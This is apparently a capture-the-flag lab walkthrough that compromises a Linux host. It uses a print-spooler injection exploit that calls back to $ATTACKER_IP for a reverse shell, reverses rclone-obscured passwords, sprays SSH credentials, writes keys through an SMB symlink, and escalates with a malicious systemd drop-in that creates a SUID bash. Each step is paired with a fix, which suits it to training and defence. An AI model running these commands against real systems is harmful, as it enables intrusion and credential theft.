← all walkthroughs

Abducted

Linux· Medium
owned
2026-07-12
time to own
9m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The Linux host abducted ($TARGET) was fully compromised by chaining four weaknesses. An anonymous-writable Samba printer share (HP-Reception) allowed me to submit a crafted print job that triggered CVE-2026-4480, a print-spooler command-injection flaw, landing a shell as nobody. That shell revealed a world-readable rclone backup config whose password — protected only by rclone's reversible AES obfuscation — was decrypted to [REDACTED: recovered credential] in Python using the publicly documented static key.

Spraying that password over SSH authenticated as user scott (user.txt). Scott had write access to the transfer SMB share; by planting a symlink inside it pointing to marcus's home directory, an SSH public key was written into marcus's authorized_keys through the share, achieving lateral movement. Marcus was a member of the operators group, which had write access to the systemd drop-in directory for the smbd service.

An ExecStartPre directive was injected there to copy /bin/bash to a SUID-root binary; restarting smbd ran the hook as root, and /tmp/rootbash -p produced a root shell (root.txt).

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1EnumerationSMB anonymous share enumeration (T1135) and RPC null-session user enumeration (T1087.002)
Enumerated SMB shares and leaked domain users via anonymous RPC bind
An unauthenticated SMB listing exposed three shares: projects and transfer (both access-denied to guests) and HP-Reception ('Reception printer'), which accepted anonymous connections. A null-session RPC bind via rpcclient enumerated the domain user scott (Scott Mercer) without supplying any credential. A known service account credential (svc_infra:[REDACTED: recovered credential]) was tested against all shares and SSH and failed everywhere, directing focus back to the anonymous-accessible printer share.
Smbclient -N -L returned HP-Reception as guest-accessible; rpcclient null bind enumdomusers returned user scott.
Exact commands 3
List SMB shares without credentials — HP-Reception accepts anonymous connections.
smbclient -N -L //$TARGET
Null-session RPC bind to enumerate domain accounts; returns scott.
rpcclient -U '' -N $TARGET -c 'enumdomusers'
Confirm the known service credential grants no share access (all denied).
nxc smb $TARGET -u svc_infra -p '[REDACTED: recovered credential]' --shares
FixDisable anonymous SMB access and null-session RPC bindsCritical
WeaknessThe HP-Reception printer share allowed unauthenticated connections, and the RPC interface accepted null-session binds without credentials, together exposing internal usernames and providing the anonymous print-job submission that enabled the CVE-2026-4480 exploit.
FixIn smb.conf, set 'restrict anonymous = 2' and 'map to guest = Never' to block null sessions globally. Remove 'guest ok = yes' from every share definition and require named, authenticated service accounts for print access. Reload Samba after the change and verify with: smbclient -N -L //localhost (should be denied).
2ExploitationPrint spooler command injection — CVE-2026-4480 (T1210)
Exploited CVE-2026-4480 via the anonymous print share to gain a shell as nobody
The HP-Reception share accepted anonymous print jobs. CVE-2026-4480 is a command-injection vulnerability in the Samba print spooler: the %J job-description variable is passed unescaped to a shell command during job processing, so a malicious job name embeds an OS command. The public PoC submitted a crafted print job containing a reverse-shell one-liner, landing a callback shell as the spooler's service account (nobody).
Shell confirmed: uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup); hostname abducted.
Exact commands 4
Open a reverse-shell listener on my machine before triggering the exploit.
nc -lvnp 4444
Fetch the public proof-of-concept.
git clone https://github.com/TheCyberGeek/CVE-2026-4480-PoC && cd CVE-2026-4480-PoC
Submit the malicious print job via the anonymous HP-Reception share; replace $ATTACKER_IP with your listener address.
python3 exploit.py $TARGET $ATTACKER_IP 4444 -P HP-Reception
Confirm execution context (nobody) and locate the user flag path.
id; hostname; find / -name user.txt -type f 2>/dev/null | head -n 10
FixApply the vendor patch for CVE-2026-4480 and restrict print-job submissionCritical
WeaknessThe Samba print spooler embedded the %J job-description macro unsanitized in a shell command, allowing any party who could submit a print job — including unauthenticated users — to execute arbitrary OS commands with the spooler's privileges.
FixApply the vendor-issued patch for CVE-2026-4480 immediately. Until a patch is available, disable the print spooler by setting 'load printers = no' and removing all printer share stanzas from smb.conf, or at minimum restrict the HP-Reception share to require authenticated accounts and limit which accounts may submit jobs. Enable process-creation auditing on the spooler service to detect exploitation attempts.
3Credential AccessCredentials in files — rclone AES obfuscation reversal (T1552.001)
Recovered the backup account password from a world-readable rclone config
As nobody, filesystem enumeration surfaced /opt/offsite-backup/rclone.conf and sync.sh. The rclone config stored SFTP credentials for svc-backup@backup.hartley-group.internal, with the password protected by rclone's built-in 'obscure' function. Rclone's obfuscation uses a publicly documented static AES key and IV; the installed rclone binary lacked the reveal sub-command, so the password was reversed in Python using PyCryptodome with the key material from rclone's crypt/obscure.go, yielding the plaintext [REDACTED: recovered credential].
Rclone.conf contained pass = [REDACTED: recovered credential]; Python decryption returned [REDACTED: recovered credential].
Exact commands 2
Read the rclone config to extract the obscured password field.
cat /opt/offsite-backup/rclone.conf /opt/offsite-backup/sync.sh
Reverse rclone's AES-CFB8 obfuscation using the static key/IV from rclone's crypt/obscure.go source. Output: [REDACTED: recovered credential].
python3 rclone_deobscure.py '[REDACTED: recovered credential]'
FixSecure rclone config permissions and replace obfuscated passwords with proper secrets managementHigh
WeaknessThe file /opt/offsite-backup/rclone.conf was readable by low-privileged OS accounts (including nobody) and stored the backup account password protected only by rclone's built-in 'obscure' function — explicitly documented by rclone as non-cryptographic and trivially reversible with the public static key.
FixSet ownership and permissions to 600 owned by the dedicated backup service account: 'chown svc-backup:svc-backup /opt/offsite-backup/rclone.conf && chmod 600 /opt/offsite-backup/rclone.conf'. Replace the 'pass' field with SSH key-based SFTP authentication or use rclone's '--password-command' flag to retrieve credentials at runtime from a secrets manager. Never store credentials in files readable by service accounts with broad OS access.
4FootholdValid account credential reuse — SSH password spray (T1078.003 / T1110.003)
Authenticated as scott via SSH using the recovered password
The decrypted password [REDACTED: recovered credential] was sprayed over SSH against all enumerated accounts (scott, marcus, svc-backup). Only scott authenticated successfully. An interactive SSH session as scott gave access to the user flag at /home/scott/user.txt.
Nxc ssh returned [+] $TARGET scott:[REDACTED: recovered credential] (Pwn3d!); user.txt captured.
Exact commands 2
Spray the decrypted password across all known accounts; scott is the match.
nxc ssh $TARGET -u scott marcus svc-backup -p '[REDACTED: recovered credential]' --continue-on-success
Read the user flag as scott — outputs <user.txt>.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null scott@$TARGET 'cat /home/scott/user.txt'
5Lateral MovementSMB share symlink traversal for arbitrary file write (T1021.002)
Planted an SSH key in marcus's home directory via SMB symlink traversal
Scott had write access to the transfer SMB share, physically backed by /srv/transfer. By creating a symlink /srv/transfer/marcus_home -> /home/marcus, and then using smbclient to write through that symlink, I placed a freshly generated SSH public key into /home/marcus/.ssh/authorized_keys. Samba's default behaviour of following symbolic links made the share a transparent write proxy into marcus's home directory, bypassing the need for direct OS-level filesystem access to that path.
Exact commands 4
Generate a throw-away key pair on my machine.
ssh-keygen -t ed25519 -f /tmp/marcus_key -N ''
As scott, create the symlink inside the writable share path that points to marcus's home directory.
sshpass -p '[REDACTED: recovered credential]' ssh scott@$TARGET 'ln -sfn /home/marcus /srv/transfer/marcus_home'
Write my public key through the symlink into marcus's .ssh directory via SMB.
smbclient //$TARGET/transfer -N -c 'mkdir marcus_home/.ssh; put /tmp/marcus_key.pub marcus_home/.ssh/authorized_keys'
Confirm login as marcus and verify operators group membership.
ssh -i /tmp/marcus_key -o StrictHostKeyChecking=no marcus@$TARGET 'id; groups'
FixDisable SMB symlink following to prevent share path traversal writesHigh
WeaknessSamba followed symbolic links created inside the transfer share by default, turning the share into an unrestricted write proxy to any filesystem path the share-owning OS account could reach, including other users' home directories. This required no exploit — only the ability to create a symlink inside the writable share.
FixAdd 'follow symlinks = no' and 'wide links = no' to the [transfer] share definition (and all other shares) in smb.conf and reload Samba. Audit /srv/transfer for existing symlinks with 'find /srv/transfer -type l' and remove them. Consider confining share-visible directories with a bind mount so the share root cannot be escaped even through misconfiguration.
6Privilege EscalationSystemd service drop-in file abuse for local privilege escalation (T1543.002)
Injected a malicious systemd drop-in as marcus to create a SUID root shell
Marcus was a member of the operators group, which held write permission over /etc/systemd/system/smbd.service.d/override.conf. An ExecStartPre directive was written to that drop-in file instructing systemd to copy /bin/bash to /tmp/rootbash and set the SUID bit. After a daemon-reload and smbd service restart, systemd executed the directive as root, producing a SUID-root binary. Running /tmp/rootbash -p elevated effective UID to root, granting full system access and the root flag.
Find /etc/systemd/system -type f -writable revealed smbd.service.d/override.conf; after restart /tmp/rootbash -p yielded euid=0(root); root.txt captured.
Exact commands 4
As marcus, identify writable systemd unit files — finds the smbd drop-in.
find /etc/systemd/system -type f -writable 2>/dev/null
Base64-encode the payload to survive shell quoting, then write the ExecStartPre directive into the smbd drop-in as marcus.
OV=$(printf '%s\n' '[Service]' 'ExecStartPre=/bin/bash -c "cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash"' | base64 -w0); ssh -i /tmp/marcus_key -o StrictHostKeyChecking=no marcus@$TARGET "mkdir -p /etc/systemd/system/smbd.service.d; echo $OV | base64 -d > /etc/systemd/system/smbd.service.d/override.conf"
Reload systemd and restart smbd so the ExecStartPre hook executes as root.
ssh -i /tmp/marcus_key marcus@$TARGET 'systemctl daemon-reload && systemctl restart smbd'
Run the SUID bash with preserved privileges to confirm euid=0 and read root.txt — outputs <root.txt>.
ssh -i /tmp/marcus_key marcus@$TARGET '/tmp/rootbash -p -c "id; cat /root/root.txt"'
FixRemove unprivileged group write access to systemd service drop-in directoriesCritical
WeaknessThe operators group held write access to /etc/systemd/system/smbd.service.d/override.conf. Any member could inject ExecStartPre, ExecStart, or ExecStartPost directives that systemd runs as root on the next service start or reload — a direct path to full root code execution.
FixSet all directories under /etc/systemd/system/ to root:root with permissions 755 and remove the operators group from any file or directory ACLs: 'chown -R root:root /etc/systemd/system && chmod -R 755 /etc/systemd/system'. Audit for violations with: find /etc/systemd -not -user root -o -perm /022. If delegated service control is genuinely required, grant it via a tightly scoped sudoers rule for the specific restart command only, never via write access to unit files.

Attack patterns used

The transferable techniques behind this compromise.

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more